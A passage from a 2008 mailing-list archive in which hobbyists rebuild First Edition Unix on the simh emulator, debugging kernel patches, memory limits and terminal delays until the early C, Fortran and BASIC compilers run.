Arrgh! Kill! Kill! Kill!! > > http://www.unicom.com/pw/reply-to-harmful.html > http://woozle.org/~neale/papers/reply-to-still-harmful.html you forgot this one :) titled "Reply-To Munging Considered Useful" http://www.metasystema.net/essays/reply-to.mhtml Regards, Cyrille Lefevre -- mailto:Cyrille.Lefevre-lists at laposte.net From newsham at lava.net Mon May 5 10:00:27 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 14:00:27 -1000 (HST) Subject: [Unix-jun72] 0407 binaries on 1ed In-Reply-To: <20080504223353.GA63333@minnie.tuhs.org> References: <20080504223353.GA63333@minnie.tuhs.org> Message-ID: > Excellent stuff Tim. I've had a quick look; I suspect the existing code: > > cmp r5,u.count / > bgt 1f / branch if r5 greater than u.count > mov r5,u.count > > checks to ensure that the new a.out is small emough to fit into the > address space left by the executable that called exec(2). Right, but after it branches it goes ahead and reads anyway(!?) Thats the part that confused me.. perhaps there's a line or two missing somewhere in the code here? > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 5 10:03:04 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 14:03:04 -1000 (HST) Subject: [Unix-jun72] Another reorganisation suggestion In-Reply-To: <20080504224125.GB63333@minnie.tuhs.org> References: <20080504224125.GB63333@minnie.tuhs.org> Message-ID: > early C compilers to work. Could I suggest that we make a src/ directory > in svn, which will hold any source code that produces V1/V2 executables? Sure. just make the directory and add files to it and "svn add dir" or "svn mkdir dir" and start adding files. Either way, once you commit it'll get pushed up. > Which of course implies that we might need to rename rebuilt/ to sys/ :-) I'm fine renaming things.. the early names were just kind of ad hoc. though "rebuilt" should probably be named "clean" and the "build" directory that has the patches applied should probably be "sys". > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 5 11:17:06 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 11:17:06 +1000 Subject: [Unix-jun72] Another RK mount program In-Reply-To: References: Message-ID: <20080505011706.GA67094@minnie.tuhs.org> On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote: > I added a patch "aout407.patch" for running a.out binaries in the 1ed > kernel. I was able to run "as" and "size", both of which are 0407 binaries. Here is an asm program to mount /usr, which assembles with "as". This replaces my hand-crafted one from yesterday. Warren / rkmnt.s: mount /dev/rk0 onto /usr / Assembles with V1 "as" on V1 kernel with 0407 patch exit = 1. write = 4. mount = 21. mov $1,r0 sys write; rk0; 8. mov $1,r0 sys write; usr; 4. sys mount; rk0; usr sys exit rk0: usr: From wkt at tuhs.org Mon May 5 11:23:56 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 11:23:56 +1000 Subject: [Unix-jun72] No luck with C compiler yet, but an idea In-Reply-To: References: Message-ID: <20080505012356.GB67094@minnie.tuhs.org> On Sun, May 04, 2008 at 10:18:08AM -1000, Tim Newsham wrote: > I added a patch "aout407.patch" for running a.out binaries in the 1ed > kernel. It could be a little cleaner; if anyone can review it and fix > it up I would appreciate it. I was able to run "as" and "size", > both of which are 0407 binaries. I played around trying to get the last11c C compiler to work, but no luck yet. I can compile it using Apout and the existing cc, c0, c1, as binaries. Tim, I suspect that we need to modify the 0407 patch to also clear the bss area in core. Here are the headers from several binaries Size of: text data bss /usr/lib/c0 000407 023324 003574 005700 017614 000000 000000 000001 /usr/lib/c1 000407 016664 011554 003030 010624 000000 000000 000001 /usr/bin/cc 000407 004576 000416 001024 003644 000000 000000 000001 /usr/bin/as 000407 016616 000000 000000 000000 000000 000000 000001 /usr/bin/size 000407 002626 000000 000000 000000 000000 000000 000001 You can see that c0, c1 and cc all have bss areas, but as and size have no bss areas, which is probably why they work OK. Cheers, Warren From newsham at lava.net Mon May 5 11:56:57 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 15:56:57 -1000 (HST) Subject: [Unix-jun72] No luck with C compiler yet, but an idea In-Reply-To: <20080505012356.GB67094@minnie.tuhs.org> References: <20080505012356.GB67094@minnie.tuhs.org> Message-ID: > I played around trying to get the last11c C compiler to work, but no luck > yet. I can compile it using Apout and the existing cc, c0, c1, as binaries. > > Tim, I suspect that we need to modify the 0407 patch to also clear the > bss area in core. Here are the headers from several binaries The whole userland is zerod before the a.out is loaded. I did find a bug -- I was setting u.break to text+data+bss when it should have been core+text+data+bss - any dynamic allocation was probably giving back incorrect pointers. I committed the fix but I don't have a good way to test it. I can't seem to enter a "}" character (or upper case lettes) into the console so I cant easily type a test C program. Anyone know of a setting to work around this or to translate ^M into ^J? Anyway, if you have more problems, please send me a test program and I'll try to debug it further. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 5 12:07:41 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 16:07:41 -1000 (HST) Subject: [Unix-jun72] jun72 init.s Message-ID: I entered init.s and played around with it a little. I *think* it might be working (I stepped through some of it) but it doesn't use the normal tty in multi-user mode, so it's hard to tell without dc-11 support. I guess it was lucky that we used the s2 init instead of the jun72 init, because it seems the s2 init does run getty on the main terminal in multiuser mode. The process for building it is: $ tools/rebuild $ tools/as sys1.s build/init.s and you'll have a "b.out" in the current dir. Is anyone planning on working on dc-11 support? Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 5 12:47:22 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 16:47:22 -1000 (HST) Subject: [Unix-jun72] jun72 init.s In-Reply-To: References: Message-ID: > $ tools/rebuild > $ tools/as sys1.s build/init.s Init works now provided you edit the "itab" appropriately. If you change the first entry to "'8: .." and comment out all the rest it will spawn a tty on /dev/tty8 which is an alias for /dev/tty. If you leave in other tty entries, the system will respond much more slowly, will print a login prompt, but then become unresponsive. Possibly the kernel has some tty handling bugs still present or doesn't like running without the DC11 hardware present? Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 5 12:52:45 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 16:52:45 -1000 (HST) Subject: [Unix-jun72] jun72 init.s In-Reply-To: References: Message-ID: > Init works now provided you edit the "itab" appropriately. If you > change the first entry to "'8: .." and comment out all the rest it If anyone wants to play with it, here's the binary, configured only to spawn on tty8. It mounts rk0 during startup. Drop it onto your cold tape in place of the normal s2 /etc/init. http://www.thenewsh.com/%7Enewsham/unix_jun72/init Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 5 14:52:29 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 14:52:29 +1000 Subject: [Unix-jun72] last1120 C compiler added to svn Message-ID: <20080505045229.GA76763@minnie.tuhs.org> I'm still working on the last1120 C compiler, so I've added the original code to svn. Right now, the compiler executes fine under Apout (enough to recompile itself), but not on V1 with the 0407 patch. I can compile simple C programs, and execute the resulting 0407 binary on V1. I'm running this program to get a memory dump of the process while it is running: main() { char c[]; int i; printf("Hello world\n"); c= main; while (c != 0) { i= *c & 0277; printf("%o %o\n", c, i); c++; } } so I can compare the Apout memory environment with the V1 memory environment. But it's very sloooow. I wonder why; V7 on simh is much faster than V1. Cheers, Warren P.S The C compiler doesn't have for loops :-) From wkt at tuhs.org Mon May 5 15:02:59 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 15:02:59 +1000 Subject: [Unix-jun72] Half-written disassembler also now in svn Message-ID: <20080505050259.GA77253@minnie.tuhs.org> I added my disassembler; it's not completely written, but it's better in the repository in case someone else wants to poke at it. Warren From wkt at tuhs.org Mon May 5 16:08:24 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 16:08:24 +1000 Subject: [Unix-jun72] C compiler status Message-ID: <20080505060824.GA78841@minnie.tuhs.org> Still no great progress. I can confirm that "cc" and "cvopt" both work, but the two compiler passes "c1" and "c2" don't work. Sometimes I can get them to core, but with different arguments the system locks up. On http://cm.bell-labs.com/cm/cs/who/dmr/primevalC.html, Dennis notes this: A second, less noticeable, but astonishing peculiarity is the space allocation: temporary storage is allocated that deliberately overwrites the beginning of the program, smashing its initialization code to save space. The two compilers differ in the details in how they cope with this. In the earlier one, the start is found by naming a function; in the later, the start is simply taken to be 0. This indicates that the first compiler was written before we had a machine with memory mapping, so the origin of the program was not at location 0, whereas by the time of the second, we had a PDP-11 that did provide mapping. (See the Unix History paper). In one of the files (prestruct-c/c10.c) the kludgery is especially evident. It could be that this sort of memory operation is what is causing the problem. Is there a way for simh to give an instruction trace beginning at a certain address e.g. 040000, so I can watch c0's behaviour and see where it goes off the rails? Thanks, Warren From newsham at lava.net Mon May 5 16:59:25 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 4 May 2008 20:59:25 -1000 (HST) Subject: [Unix-jun72] C compiler status In-Reply-To: <20080505060824.GA78841@minnie.tuhs.org> References: <20080505060824.GA78841@minnie.tuhs.org> Message-ID: > It could be that this sort of memory operation is what is causing the > problem. Is there a way for simh to give an instruction trace beginning > at a certain address e.g. 040000, so I can watch c0's behaviour and see > where it goes off the rails? Simh has a cpu execution history which is already turned on in our configuration file, so at any point when youre at the simh prompt you can "show cpu history" to see the recently executed instructions. You can also use breakpoints to do some tracing, for example: break 1350;ex r0;go will break at 1350, in syscall right after it figures out what syscall number, dump r0, which has the syscall number, and continue, so that you get a running syscall trace.. The downside to these methods is that they capture the entire operating system, not just a single userland process... It would be nice if we could rig the emulator to skip over context switches to other processes.... Then again, it's probably a lot easier than debugging with blinking lights and switches... > Warren I suspect there are some more kernel gotchas left to be found. The fact that "cc" doesnt work properly could be due to my 0407 patch but could equally be another kernel typo somewhere. The fact that init doesnt like running getty on other ttys is also making me suspect some hidden kernel bugs... During one of my tests with "cc" I saw it go into panic (probably good to run with a breakpoint on panic, too! see build/a.out.syms) after syscall got reentered! Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 5 17:12:12 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 17:12:12 +1000 Subject: [Unix-jun72] C compiler status In-Reply-To: References: <20080505060824.GA78841@minnie.tuhs.org> Message-ID: <20080505071212.GA80277@minnie.tuhs.org> On Sun, May 04, 2008 at 08:59:25PM -1000, Tim Newsham wrote: > Simh has a cpu execution history which is already turned on in our > configuration file, so at any point when youre at the simh prompt > you can "show cpu history" to see the recently executed instructions. Thanks Tim. It looks like we are not starting /usr/lib/c0 properly: the CPU never gets to execute at 040000, and we end up in sysbreak without ever calling it. I have a CPU history from sysexec at 004250 right up to where it hits a supposed HALT instruction in sysbreak at 005752, which previously was CMP R1,SP. Here's the simh and Unix commands I tried: ./simh.cfg sim> c :login: root # /tmp/a.out # Mount /usr # chdir /usr/tmp # Simulation stopped, PC: 007332 (MOV (SP)+,25310) sim> break 004250 sim> c /usr/lib/c0 z.c a b # Run pass c0 on z.c, creating a & b tempfiles Breakpoint, PC: 004250 (JSR R0,5634) sim> set CPU HISTORY=0 sim> set CPU HISTORY=100000 sim> continue HALT instruction, PC: 005754 (BCC 5762) sim> show CPU HISTORY I won't include the history here, as it's 49,000 instructions. But if anybody wants a look at it, let me know. Thanks, Warren > > You can also use breakpoints to do some tracing, for example: > > break 1350;ex r0;go > > will break at 1350, in syscall right after it figures out what syscall > number, dump r0, which has the syscall number, and continue, so that > you get a running syscall trace.. > > The downside to these methods is that they capture the entire operating > system, not just a single userland process... It would be nice if > we could rig the emulator to skip over context switches to other > processes.... Then again, it's probably a lot easier than debugging > with blinking lights and switches... > > > Warren > > I suspect there are some more kernel gotchas left to be found. The > fact that "cc" doesnt work properly could be due to my 0407 patch > but could equally be another kernel typo somewhere. The fact that > init doesnt like running getty on other ttys is also making me suspect > some hidden kernel bugs... During one of my tests with "cc" I saw > it go into panic (probably good to run with a breakpoint on panic, > too! see build/a.out.syms) after syscall got reentered! > > Tim Newsham > http://www.thenewsh.com/~newsham/ > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 From wkt at tuhs.org Mon May 5 17:50:17 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 17:50:17 +1000 Subject: [Unix-jun72] C compiler status In-Reply-To: <20080505071212.GA80277@minnie.tuhs.org> References: <20080505060824.GA78841@minnie.tuhs.org> <20080505071212.GA80277@minnie.tuhs.org> Message-ID: <20080505075017.GA81081@minnie.tuhs.org> On Mon, May 05, 2008 at 05:12:12PM +1000, Warren Toomey wrote: > It looks like we are not starting /usr/lib/c0 properly: the CPU never gets > to execute at 040000, and we end up in sysbreak without ever calling it. Um, just an observation: u0.s defines: core = orig+40000 / specifies beginning of user's core ecore = core+20000 / specifies end of user's core (4096 words) so a user program has 020000 bytes of space; but size /usr/lib/c0 gives: 023326+03574+06640=035762, and 035762 >> 020000. Is the value of ecore arbitrary? What's above ecore, the kernel stack? Mind you, if we set ecore== 040000+035762, thats 075762 which doesn't leave much room, assuming that memory on the PDP-11/20 ends at 100000. Warren From wkt at tuhs.org Mon May 5 18:02:49 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 18:02:49 +1000 Subject: [Unix-jun72] C compiler: it works! In-Reply-To: <20080505075017.GA81081@minnie.tuhs.org> References: <20080505060824.GA78841@minnie.tuhs.org> <20080505071212.GA80277@minnie.tuhs.org> <20080505075017.GA81081@minnie.tuhs.org> Message-ID: <20080505080249.GB81081@minnie.tuhs.org> On Mon, May 05, 2008 at 05:50:17PM +1000, Warren Toomey wrote: > Um, just an observation: u0.s defines: > > core = orig+40000 / specifies beginning of user's core > ecore = core+20000 / specifies end of user's core (4096 words) > > so a user program has 020000 bytes of space; but size /usr/lib/c0 gives: > > 023326+03574+06640=035762, and 035762 >> 020000. > > Is the value of ecore arbitrary? Apparently it is. I just patched u0.s to have ecore = core+35764, and the C compiler works! i.e. it compiles a trivial C program. Later on after dinner, I'll try to get the compiler to recompile itself. We still need to check the effects of ecore = core+35764, just in case. Cheers, Warren From wkt at tuhs.org Mon May 5 18:38:16 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 18:38:16 +1000 Subject: [Unix-jun72] C compiler: it works! In-Reply-To: <20080505080249.GB81081@minnie.tuhs.org> References: <20080505060824.GA78841@minnie.tuhs.org> <20080505071212.GA80277@minnie.tuhs.org> <20080505075017.GA81081@minnie.tuhs.org> <20080505080249.GB81081@minnie.tuhs.org> Message-ID: <20080505083816.GA82074@minnie.tuhs.org> On Mon, May 05, 2008 at 06:02:49PM +1000, Warren Toomey wrote: > Apparently it is. I just patched u0.s to have ecore = core+35764, and > the C compiler works! i.e. it compiles a trivial C program. Later on > after dinner, I'll try to get the compiler to recompile itself. With ecore = core+60000, cc, cvopt and c0 can all be recompiled and then used to recompile themselves. However, the existing c1 binary from the s2 tape works, but not the recompiled c1. So it's close... I will upload a couple of files to svn soon. Warren From peterjeremy at optushome.com.au Mon May 5 19:10:11 2008 From: peterjeremy at optushome.com.au (Peter Jeremy) Date: Mon, 5 May 2008 19:10:11 +1000 Subject: [Unix-jun72] last1120 C compiler added to svn In-Reply-To: <20080505045229.GA76763@minnie.tuhs.org> References: <20080505045229.GA76763@minnie.tuhs.org> Message-ID: <20080505091011.GL7293@server.vk2pj.dyndns.org> On Mon, May 05, 2008 at 02:52:29PM +1000, Warren Toomey wrote: > i= *c & 0277; ^^^^ 0377 maybe >But it's very sloooow. I wonder why; V7 on simh is much faster than V1. Is V1 executing more instructions to get the same thing done or is simh managing to execute V7 instruction streams (or maybe emulate higher-end PDP-11's) better? Judging by some of the earlier hardware comments, maybe V1 is thrashing. -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available URL: From wkt at tuhs.org Mon May 5 21:36:32 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 21:36:32 +1000 Subject: [Unix-jun72] Why is V1 so slow? In-Reply-To: <20080505091011.GL7293@server.vk2pj.dyndns.org> References: <20080505045229.GA76763@minnie.tuhs.org> <20080505091011.GL7293@server.vk2pj.dyndns.org> Message-ID: <20080505113632.GA85746@minnie.tuhs.org> On Mon, May 05, 2008 at 07:10:11PM +1000, Peter Jeremy wrote: > On Mon, May 05, 2008 at 02:52:29PM +1000, Warren Toomey wrote: > > i= *c & 0277; > ^^^^ 0377 maybe Yep :) > >But it's very sloooow. I wonder why; V7 on simh is much faster than V1. > > Is V1 executing more instructions to get the same thing done or is simh > managing to execute V7 instruction streams (or maybe emulate higher-end > PDP-11's) better? Judging by some of the earlier hardware comments, > maybe V1 is thrashing. I think there are output delays in the kernel, probably to deal with the speed of mechanical output devices. When I use the compiler, the compilations are fast, but doing an ls -l /bin takes ages. We might be able to tweak out the delays. For example, grep delay build/u9.s, and these lines in u4.s: 1: cmp r1,$11 / char = ht bne 1f movb $15.,toutt+0 / set time out to 15 clock tics 1: cmp r1,$15 / char = cr bne 2f movb $15.,toutt+0 / set time out to 15 clock ticks 2: rts r0 Cheers, Warren From wkt at tuhs.org Mon May 5 21:44:18 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 21:44:18 +1000 Subject: [Unix-jun72] Why is V1 so slow? In-Reply-To: <20080505113632.GA85746@minnie.tuhs.org> References: <20080505045229.GA76763@minnie.tuhs.org> <20080505091011.GL7293@server.vk2pj.dyndns.org> <20080505113632.GA85746@minnie.tuhs.org> Message-ID: <20080505114418.GA87292@minnie.tuhs.org> On Mon, May 05, 2008 at 09:36:32PM +1000, Warren Toomey wrote: > I think there are output delays in the kernel. There certainly were. I've svn committed a patch to remove these lines from u4.s, and that really speeds things up! Warren 1: cmp r1,$11 / char = ht bne 1f movb $15.,toutt+0 / set time out to 15 clock tics 1: cmp r1,$15 / char = cr bne 2f movb $15.,toutt+0 / set time out to 15 clock ticks From wkt at tuhs.org Mon May 5 22:53:52 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 22:53:52 +1000 Subject: [Unix-jun72] Hey, the fortran compiler works too Message-ID: <20080505125352.GA88861@minnie.tuhs.org> :login: root # chdir /usr/jack # rm a.out x.o # fc x.f x.f: Fortran ii iii iiii I II # ./a.out hi 2.30 10 Cheers, Warren From wkt at tuhs.org Mon May 5 23:01:09 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 5 May 2008 23:01:09 +1000 Subject: [Unix-jun72] And so does basic Message-ID: <20080505130109.GA88995@minnie.tuhs.org> # bas i=25 print i 2.50000000e1 for i = 1 10 print i next 1.00000000e0 2.00000000e0 3.00000000e0 4.00000000e0 5.00000000e0 6.00000000e0 7.00000000e0 8.00000000e0 9.00000000e0 1.00000000e1 So, that's asm, C, fortran, basic, and shell: 5 languages. I'm sure we could get ed and roff to perform as turing machines, but I will leave that as an exercise for the reader :-) Warren From brantley at coraid.com Tue May 6 01:37:01 2008 From: brantley at coraid.com (Brantley Coile) Date: Mon, 5 May 2008 11:37:01 -0400 Subject: [Unix-jun72] And so does basic In-Reply-To: <20080505130109.GA88995@minnie.tuhs.org> Message-ID: <6df836f6cb0c54c0babb85b769a523eb@coraid.com> Congratulations, folks! This is really neat stuff. Brantley Coile > # bas > i=25 > print i > 2.50000000e1 > for i = 1 10 print i next > 1.00000000e0 > 2.00000000e0 > 3.00000000e0 > 4.00000000e0 > 5.00000000e0 > 6.00000000e0 > 7.00000000e0 > 8.00000000e0 > 9.00000000e0 > 1.00000000e1 > > So, that's asm, C, fortran, basic, and shell: 5 languages. > > I'm sure we could get ed and roff to perform as turing machines, but > I will leave that as an exercise for the reader :-) > > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 From newsham at lava.net Tue May 6 02:57:15 2008 From: newsham at lava.net (Tim Newsham) Date: Mon, 5 May 2008 06:57:15 -1000 (HST) Subject: [Unix-jun72] C compiler status In-Reply-To: <20080505075017.GA81081@minnie.tuhs.org> References: <20080505060824.GA78841@minnie.tuhs.org> <20080505071212.GA80277@minnie.tuhs.org> <20080505075017.GA81081@minnie.tuhs.org> Message-ID: > Is the value of ecore arbitrary? What's above ecore, the kernel stack? ecore should be the top of memory on a 24k machine. If you add more RAM, you could raise ecore, but you'd have to adjust a bunch of things - each process has storage on rf0 allocated for it to swap to - the core dump dumps out 8k of memory and probably others. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From madcrow.maxwell at gmail.com Tue May 6 03:27:28 2008 From: madcrow.maxwell at gmail.com (Michael Kerpan) Date: Mon, 5 May 2008 13:27:28 -0400 Subject: [Unix-jun72] Great Work! Message-ID: <8dd2d95c0805051027y24450b1cv5c18fe3311ef7003@mail.gmail.com> This is cool stuff. Just a few weeks after thinking "this would be cool if we could rebuild a working early Unix from the printed source code" you've done just that. While it seems pretty primitive, it's certainly recognizable as a Unix already and LIGHTYEARS ahead of anything else I've played with from that era (DOS-11 and RT-11) From wb at freebie.xs4all.nl Tue May 6 04:02:13 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Mon, 5 May 2008 20:02:13 +0200 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505125352.GA88861@minnie.tuhs.org> References: <20080505125352.GA88861@minnie.tuhs.org> Message-ID: <20080505180213.GD91978@freebie.xs4all.nl> Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 .. > :login: root > # chdir /usr/jack > # rm a.out x.o > # fc x.f > x.f: > Fortran > ii > iii > iiii > I > II > # ./a.out > hi 2.30 10 Neat.. Whats next? LINPACK? Wilko From jbeisser at gmail.com Tue May 6 04:52:15 2008 From: jbeisser at gmail.com (Johan Beisser) Date: Mon, 5 May 2008 11:52:15 -0700 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505180213.GD91978@freebie.xs4all.nl> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> Message-ID: gcc. On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte wrote: > Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 .. > > > :login: root > > # chdir /usr/jack > > # rm a.out x.o > > # fc x.f > > x.f: > > Fortran > > ii > > iii > > iiii > > I > > II > > # ./a.out > > hi 2.30 10 > > Neat.. Whats next? LINPACK? > > Wilko > > > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > -- Johan Beisser UNIX Contracting: infrastructure design, network security, disaster planning and recovery From wb at freebie.xs4all.nl Tue May 6 05:22:49 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Mon, 5 May 2008 21:22:49 +0200 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> Message-ID: <20080505192248.GA92582@freebie.xs4all.nl> Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM -0700 .. > gcc. or emacs? > On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte wrote: > > Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at 10:53:52PM +1000 .. > > > > > :login: root > > > # chdir /usr/jack > > > # rm a.out x.o > > > # fc x.f > > > x.f: > > > Fortran > > > ii > > > iii > > > iiii > > > I > > > II > > > # ./a.out > > > hi 2.30 10 > > > > Neat.. Whats next? LINPACK? > > > > Wilko > > > > > > _______________________________________________ > > Unix-jun72 mailing list > > Unix-jun72 at minnie.tuhs.org > > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > > > > > -- > Johan Beisser > UNIX Contracting: infrastructure design, network security, disaster > planning and recovery > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 --- end of quoted text --- -- Wilko From milov at uwlax.edu Tue May 6 05:38:23 2008 From: milov at uwlax.edu (Milo Velimirovic) Date: Mon, 5 May 2008 14:38:23 -0500 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <20080505192248.GA92582@freebie.xs4all.nl> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> Message-ID: <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> vi On May 5, 2008, at 2:22 PM, Wilko Bulte wrote: > Quoting Johan Beisser, who wrote on Mon, May 05, 2008 at 11:52:15AM > -0700 .. >> gcc. > > or emacs? > >> On Mon, May 5, 2008 at 11:02 AM, Wilko Bulte >> wrote: >>> Quoting Warren Toomey, who wrote on Mon, May 05, 2008 at >>> 10:53:52PM +1000 .. >>> >>>> :login: root >>>> # chdir /usr/jack >>>> # rm a.out x.o >>>> # fc x.f >>>> x.f: >>>> Fortran >>>> ii >>>> iii >>>> iiii >>>> I >>>> II >>>> # ./a.out >>>> hi 2.30 10 >>> >>> Neat.. Whats next? LINPACK? >>> >>> Wilko >>> >>> >>> _______________________________________________ >>> Unix-jun72 mailing list >>> Unix-jun72 at minnie.tuhs.org >>> https://minnie.tuhs.org/mailman/listinfo/unix-jun72 >>> >> >> >> >> -- >> Johan Beisser >> UNIX Contracting: infrastructure design, network security, disaster >> planning and recovery >> _______________________________________________ >> Unix-jun72 mailing list >> Unix-jun72 at minnie.tuhs.org >> https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > --- end of quoted text --- > > -- > Wilko > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 -- Milo Velimirović, Unix Computer Network Administrator 608-785-6618 Office - 608-386-2817 Cell University of Wisconsin - La Crosse La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W -- >Yes it does >>No it doesn't >>>Because it makes following messages more difficult >>>>Why is top-posting evil? From aek at bitsavers.org Tue May 6 05:43:22 2008 From: aek at bitsavers.org (Al Kossow) Date: Mon, 05 May 2008 12:43:22 -0700 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> Message-ID: <481F635A.40103@bitsavers.org> Milo Velimirovic wrote: > vi You're slowly converging on programs that MIGHT fit on an 11/20 From imp at bsdimp.com Tue May 6 07:54:46 2008 From: imp at bsdimp.com (M. Warner Losh) Date: Mon, 05 May 2008 15:54:46 -0600 (MDT) Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <481F635A.40103@bitsavers.org> References: <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> Message-ID: <20080505.155446.-692167945.imp@bsdimp.com> In message: <481F635A.40103 at bitsavers.org> Al Kossow writes: : Milo Velimirovic wrote: : > vi : : You're slowly converging on programs that MIGHT fit on an 11/20 You mean like TECO? Warner From jbeisser at gmail.com Tue May 6 05:45:56 2008 From: jbeisser at gmail.com (Johan Beisser) Date: Mon, 5 May 2008 12:45:56 -0700 Subject: [Unix-jun72] Hey, the fortran compiler works too In-Reply-To: <481F635A.40103@bitsavers.org> References: <20080505125352.GA88861@minnie.tuhs.org> <20080505180213.GD91978@freebie.xs4all.nl> <20080505192248.GA92582@freebie.xs4all.nl> <6252F115-3820-4942-93B4-12B5BD5149C9@uwlax.edu> <481F635A.40103@bitsavers.org> Message-ID: On Mon, May 5, 2008 at 12:43 PM, Al Kossow wrote: > Milo Velimirovic wrote: > > vi > > You're slowly converging on programs that MIGHT fit on an 11/20 I don't know about the rest of you, but mine was actually intended as a joke. ed may work out just fine, though. -- Johan Beisser UNIX Contracting: infrastructure design, network security, disaster planning and recovery From peterjeremy at optushome.com.au Tue May 6 05:14:20 2008 From: peterjeremy at optushome.com.au (Peter Jeremy) Date: Tue, 6 May 2008 05:14:20 +1000 Subject: [Unix-jun72] And so does basic In-Reply-To: <20080505130109.GA88995@minnie.tuhs.org> References: <20080505130109.GA88995@minnie.tuhs.org> Message-ID: <20080505191420.GR7293@server.vk2pj.dyndns.org> On Mon, May 05, 2008 at 11:01:09PM +1000, Warren Toomey wrote: >So, that's asm, C, fortran, basic, and shell: 5 languages. Very good. >I'm sure we could get ed and roff to perform as turing machines, but >I will leave that as an exercise for the reader :-) http://www.kernelthread.com/hanoi/html/troff.html Shortening the variable names will make it compatible with old {n,t}roff but I'm not sure what else might be different in v1. BTW: The mailing list currently has a 'From: ' and 'Reply-To: ' - shouldn't these be the same? -- Peter Jeremy Please excuse any delays as the result of my ISP's inability to implement an MTA that is either RFC2821-compliant or matches their claimed behaviour. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available URL: From wkt at tuhs.org Tue May 6 09:01:45 2008 From: wkt at tuhs.org (Warren Toomey) Date: Tue, 6 May 2008 09:01:45 +1000 Subject: [Unix-jun72] uppercase input In-Reply-To: References: <20080505012356.GB67094@minnie.tuhs.org> Message-ID: <20080505230145.GA15911@minnie.tuhs.org> On Sun, May 04, 2008 at 03:56:57PM -1000, Tim Newsham wrote: > I committed the fix but I don't have a good way to test it. I can't > seem to enter a "}" character (or upper case lettes) into the console > so I cant easily type a test C program. Anyone know of a setting to > work around this or to translate ^M into ^J? I put up a couple of kernel 